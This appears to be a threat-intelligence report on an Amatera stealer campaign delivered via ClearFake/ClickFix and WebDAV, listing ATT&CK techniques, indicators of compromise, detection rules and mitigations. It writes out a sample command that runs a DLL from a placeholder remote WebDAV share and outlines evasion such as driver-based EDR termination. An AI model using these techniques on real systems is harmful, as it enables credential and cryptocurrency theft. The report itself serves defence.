Full Report
We assess with moderate confidence that the attacks are not targeted at a particular organization, but are a part of a cryptocurrency and credentials-stealing operation using the Amatera stealer as the primary payload.
Analysis Summary
# Tool/Technique: Amatera Stealer (via ClearFake WebDAV Chain)
## Overview
Amatera (a variant of ACR Stealer) is a credential and cryptocurrency-stealing malware. In this campaign, it is delivered through a sophisticated "ClearFake" infection chain that leverages malicious Cloudflare Workers, BNB Smart Chain-hosted scripts, and WebDAV-based execution to bypass traditional perimeter defenses.
## Technical Details
- **Type:** Malware family (Infostealer)
- **Platform:** Windows
- **Capabilities:** Credential harvesting, session hijacking, crypto-wallet theft, and secondary payload delivery.
- **First Seen:** April 2026 (Current campaign context)
## MITRE ATT&CK Mapping
- **[TA0001 - Initial Access]**
- [T1189 - Drive-by Compromise] (ClearFake/ClickFix)
- **[TA0002 - Execution]**
- [T1204.002 - User Execution: Malicious File] (Fake CAPTCHA/Verification)
- [T1129 - Shared Modules] (DLL Side-loading)
- **[TA0005 - Defense Evasion]**
- [T1218.011 - System Binary Proxy Execution: Rundll32]
- [T1574.002 - DLL Side-Loading]
- [T1564.003 - Hidden Window]
- **[TA0011 - Command and Control]**
- [T1071.001 - Application Layer Protocol: Web Protocols]
- [T1219 - Remote Access Software] (NetSupport Manager)
## Functionality
### Core Capabilities
- **Information Theft:** Automatically collects stored browser credentials, session cookies, and sensitive system information.
- **Cryptocurrency Theft:** Scans for and exfiltrates cryptocurrency wallet files and browser extensions.
- **WebDAV Execution:** Uses UNC paths to execute DLLs directly from remote servers (e.g., `rundll32.exe \\remote-server\share\file.dll,Ordinal`), minimizing the local file footprint.
### Advanced Features
- **Multi-Stage Loading:** Utilizes Cloudflare Workers to inject JS stored on the BNB Smart Chain (Blockchain-based hosting).
- **Secondary Payload Deployment:** Depending on C2 instructions, it deploys additional tools:
- **ZigCryptoStealer:** Via NativeAOT loaders.
- **NetSupport Manager:** Legitimate remote access tool repurposed for persistence and manual exploration.
- **Go-based Reverse Proxy:** Facilitates C2 communication through restricted networks.
- **EDR Termination:** Employs vulnerable drivers to disable security software on the host.
## Indicators of Compromise
- **File Names:**
- `verification.google`
- `pf.ch`
- `hypersnap.exe` (Renamed NetSupport client)
- `PCICL32.DLL`
- **Network Indicators:**
- `paternal-angrily[.]com` (NetSupport C2 Gateway)
- `212.118.56[.]166` (C2 IP)
- **Behavioral Indicators:**
- `rundll32.exe` execution involving WebDAV UNC paths.
- Windows WebClient service starting unexpectedly.
- Scheduled tasks created for renamed legitimate binaries in `%APPDATA%` subdirectories.
## Associated Threat Actors
- **UAT-10820:** A suspected Russian-based threat actor targeting Ukrainian organizations and general users.
## Detection Methods
- **Signature-based:** Monitoring for the specific Amatera/ACR stealer packed variants and the NetSupport "KAKAN" license file.
- **Behavioral detection:**
- Alerting on `rundll32.exe` connecting to remote WebDAV shares.
- Monitoring for unauthorized NetSupport Manager (`client32.exe`) installations, especially those with hidden windows or renamed executables.
- **YARA:** Target patterns within the NativeAOT loader and the specific configuration block of the Amatera stealer.
## Mitigation Strategies
- **WebDAV Restriction:** Disable the WebClient service if not required or block outbound WebDAV (TCP 445/80/443 to non-trusted UNC paths) at the firewall.
- **Application Whitelisting:** Prevent the execution of unauthorized remote access tools like NetSupport Manager.
- **Browser Security:** Educate users on "ClickFix" tactics (fake CAPTCHAs asking users to paste PowerShell commands or download "verifiers").
## Related Tools/Techniques
- **ACR Stealer:** The parent family of Amatera.
- **ClearFake / ClickFix:** The delivery framework used to trick users.
- **ZigCryptoStealer:** A secondary payload used in the same campaign.
- **EtherHiding:** A related technique using blockchain metadata to hide malicious code.